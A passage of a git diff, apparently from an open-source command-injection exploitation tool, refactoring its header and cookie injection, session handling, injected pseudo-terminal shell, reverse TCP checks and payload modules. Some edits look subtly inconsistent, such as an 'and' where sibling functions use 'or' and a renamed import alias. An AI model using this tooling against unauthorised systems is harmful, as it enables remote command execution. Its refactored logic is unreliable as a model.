settings.CUSTOM_HEADER_INJECTION = False + settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) + settings.CUSTOM_HEADER_INJECTION = False + +""" +Inject HTTP headers parameters (User-agent / Referer / Host). """ def http_headers_injection(url, http_request_method, filename, timesec): - # Disable Cookie Injection - settings.COOKIE_INJECTION = None def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent - if not menu.options.shellshock: - menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HTTP_HEADER = check_parameter = header_name = settings.USER_AGENT.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer - if not menu.options.shellshock: - if menu.options.referer is None: - menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) - menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = False - menu.options.agent = referer + settings.HTTP_HEADER = check_parameter = header_name = settings.REFERER.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = None + menu.options.referer = referer def host_injection(url, http_request_method, filename, timesec): host = menu.options.host - if menu.options.host is None: - menu.options.host = _urllib.parse.urlparse(url).netloc - menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = False + settings.HTTP_HEADER = check_parameter = header_name = settings.HOST.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name and not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = None menu.options.host = host if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ @@ -450,26 +493,34 @@ def host_injection(url, http_request_method, filename, timesec): host_injection(url, http_request_method, filename, timesec) """ -Check for stored injections on User-agent / Referer headers (if level > 2). +Inject Cookie parameters """ -def stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec): +def cookie_injection(url, http_request_method, filename, timesec): + if not menu.options.cookie: + check_parameter = settings.COOKIE.lower() + check_for_stored_sessions(url, check_parameter, http_request_method) - for check_parameter in settings.HTTP_HEADERS: - settings.HTTP_HEADER = check_parameter - if check_for_stored_sessions(url, http_request_method): - if check_parameter == settings.REFERER: - menu.options.referer = settings.INJECT_TAG - settings.REFERER_INJECTION = True - elif check_parameter == settings.HOST.lower(): - menu.options.host= settings.INJECT_TAG - settings.HOST_INJECTION = True - else: - menu.options.agent = settings.INJECT_TAG - settings.USER_AGENT_INJECTION = True - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + cookie = menu.options.cookie + if cookie: + settings.COOKIE_INJECTION = True + # Cookie Injection + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + + if settings.COOKIE_INJECTION: + # Restore cookie value + menu.options.cookie = cookie + # Disable cookie injection + settings.COOKIE_INJECTION = False - if not settings.LOAD_SESSION: - http_headers_injection(url, http_request_method, filename, timesec) """ Perform the injection proccess @@ -487,15 +538,14 @@ def define_check_parameter(found, i, url): menu.options.cookie = found[i] check_parameter = parameters.specify_cookie_parameter(found[i]) return url, check_parameter - + # Check if multiple parameters check_parameters = [] for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) check_parameters.append(check_parameter) - checks.testable_parameters(url, check_parameters, header_name) - + for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: @@ -507,8 +557,7 @@ def define_check_parameter(found, i, url): for check_parameter in check_parameters: if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0: url, check_parameter = define_check_parameter(found, counter, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break @@ -517,46 +566,18 @@ def define_check_parameter(found, i, url): for check_parameter in check_parameters: if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0: url, check_parameter = define_check_parameter(found, counter, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + if not (check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER): + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) -""" -Cookie injection -""" -def cookie_injection(url, http_request_method, filename, timesec): - - cookie_value = menu.options.cookie - if cookie_value: - settings.COOKIE_INJECTION = True - # Cookie Injection - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) - - if settings.COOKIE_INJECTION: - # Restore cookie value - menu.options.cookie = cookie_value - # Disable cookie injection - settings.COOKIE_INJECTION = False - """ Check if HTTP Method is GET. """ @@ -595,10 +616,9 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = None - settings.HTTP_HEADERS_INJECTION = False settings.CUSTOM_HEADER_INJECTION = False + init_cookie_injection_status() if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: if not settings.SKIP_NON_CUSTOM: @@ -629,22 +649,6 @@ def headers_checks(url, http_request_method, filename, timesec): if not settings.SKIP_NON_CUSTOM: http_headers_injection(url, http_request_method, filename, timesec) -""" -Perform checks over custom HTTP Headers parameters. -""" -def custom_headers_checks(url, http_request_method, filename, timesec): - for _ in settings.CUSTOM_HEADERS_NAMES: - if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_HEADER_INJECTION = False - else: - settings.CUSTOM_HEADER_NAME = _.split(": ")[0] - settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = False - """ Perform checks """ @@ -675,11 +679,10 @@ def perform_checks(url, http_request_method, filename): pass if menu.options.shellshock: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: - menu.options.level = settings.USER_SUPPLIED_LEVEL - check_for_stored_levels(url, http_request_method) + if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL _ = True if settings.CUSTOM_INJECTION_MARKER: @@ -692,7 +695,9 @@ def perform_checks(url, http_request_method, filename): headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: custom_headers_checks(url, http_request_method, filename, timesec) - if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): + # if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + if settings.TESTABLE_PARAMETERS_LIST or len(settings.USER_DEFINED_POST_DATA) != 0 and any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): checks.process_non_custom() if not settings.SKIP_NON_CUSTOM: @@ -700,10 +705,12 @@ def perform_checks(url, http_request_method, filename): if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: data_checks(url, http_request_method, filename, timesec) if _: - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: settings.HTTP_HEADERS_INJECTION = True headers_checks(url, http_request_method, filename, timesec) @@ -736,19 +743,16 @@ def do_check(url, http_request_method, filename): perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! - if not settings.INJECTION_CHECKER: - if settings.TESTABLE_PARAMETERS and len(settings.CUSTOM_HEADERS_NAMES) == 0 : + if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION: + if settings.NOT_TESTABLE_PARAMETERS: err_msg = "All testable parameters you provided are not present within the given request data." else: - err_msg = "All tested parameters " - if menu.options.level > settings.COOKIE_INJECTION_LEVEL: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg = "All tested parameters do not appear to be injectable." + if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " Try to increase value for '--level' option" err_msg += " if you wish to perform more tests." - if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " Rerun without providing the option " + if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " You can try to rerun without providing the option " if not settings.SKIP_TECHNIQUES : err_msg += "'--technique'." else: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 70fd769800..c9c2325528 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -48,14 +48,6 @@ def exit_handler(no_result): else : settings.print_data_to_stdout(settings.END_LINE.CR) -""" -Reset tests -""" -def reset_tests(url, timesec, filename, http_request_method, injection_type, technique): - settings.RESET_TESTS = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - """ Delete previous shells outputs. """ @@ -103,7 +95,7 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, if cmd.lower() == "quit" or cmd.lower() == "exit": if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise SystemExit() + checks.quit(filename, url, _ = False) go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break @@ -154,7 +146,7 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, elif gotshell in settings.CHOICE_QUIT: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise SystemExit() + checks.quit(filename, url, _ = False) else: common.invalid_option(gotshell) pass @@ -206,7 +198,8 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads - checks.testing_technique_title(injection_type, technique) + if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) prefixes = settings.PREFIXES suffixes = settings.SUFFIXES @@ -223,25 +216,22 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t settings.EXPLOITATION_PHASE = False # If a previous session is available. exec_time_statistic = [] - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: settings.TIME_BASED_STATE = True elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: settings.TEMPFILE_BASED_STATE = True + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_EXEC_TIME = exec_time settings.FOUND_DIFF = exec_time - timesec - if settings.TEMPFILE_BASED_STATE: - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + possibly_vulnerable = True except TypeError: checks.error_loading_session_file() - if settings.RESET_TESTS: - reset_tests(url, timesec, filename, http_request_method, injection_type, technique) - if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator @@ -270,7 +260,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) vuln_parameter = "" - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) # Statistical analysis in time responses. exec_time_statistic.append(exec_time) @@ -314,7 +304,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t settings.FOUND_EXEC_TIME = exec_time settings.FOUND_DIFF = exec_time - timesec if false_positive_warning: - time.sleep(1) + time.sleep(timesec) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 @@ -390,9 +380,6 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t else: percent = ".. (" + str(float_percent) + "%)" settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise else: percent = ".. (" + str(float_percent) + "%)" break @@ -400,18 +387,16 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t # Yaw, got shellz! # Do some magic tricks! if checks.time_relative_shell(url_time_response, exec_time, timesec): - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): + if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=menu.options.level) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" # Check for any enumeration options. @@ -449,8 +434,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec next_attack_vector = False export_injection_info = False timesec = checks.time_relative_timesec(timesec) - checks.testing_technique_title(injection_type, technique) - + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: import html @@ -481,11 +465,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec separators = settings.SEPARATORS if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - + + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) for whitespace in settings.WHITESPACES: @@ -498,11 +483,11 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT if re.findall(settings.DIRECTORY_REGEX,payload): @@ -510,7 +495,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.WEB_ROOT = os.path.dirname(filepath) settings.CUSTOM_WEB_ROOT = True tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - session_handler.notification(url, technique, injection_type) elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) else: @@ -518,14 +502,10 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.CLASSIC_STATE = True elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: settings.EVAL_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: checks.error_loading_session_file() - if settings.RESET_TESTS: - reset_tests(url, timesec, filename, http_request_method, injection_type, technique) - if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator @@ -558,7 +538,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec payload = payloads.decision(separator, TAG, randv1, randv2) vuln_parameter = "" - response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: # Try target page reload (if it is required). if settings.URL_RELOAD: @@ -613,12 +593,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) except (KeyboardInterrupt, SystemExit): if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: @@ -660,13 +640,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if shell: found = True no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=menu.options.level) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False cmd = maxlen = "" if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: OUTPUT_TEXTFILE = url_time_response = "" diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index b217f4a38d..3746fd81c6 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -79,7 +79,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) injection_check = False if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): injection_check = True @@ -130,7 +130,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) injection_check = False if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): injection_check = True @@ -203,7 +203,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques _ = cmd.split(settings.COMMENT)[0].strip() debug_msg = "Executing the '" + _ + "' command. " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return response response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -270,7 +270,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): found_chars = True break @@ -301,7 +301,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): output.append(ascii_char) is_valid = True diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 412436fdf1..693b67a686 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -61,6 +61,7 @@ def invalid_data(request): if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile + elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 81591e7060..fc15dc13d7 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -50,7 +50,7 @@ def check_established_connection(): def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injecto + from src.core.injections.results_based.techniques.eval_based import eb_injector as injection # Command execution results. start = time.time() response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -77,10 +77,9 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): check_established_connection() - else: - if settings.VERBOSITY_LEVEL == 1: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - + # else: + # if settings.VERBOSITY_LEVEL == 1: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index f29a3c7cfd..a79fade871 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -175,7 +175,7 @@ def cmd_execution(separator, TAG, cmd): separator + "echo '" + TAG + "'`)%3B" ) else: - settings.USER_SUPPLIED_CMD = cmd + 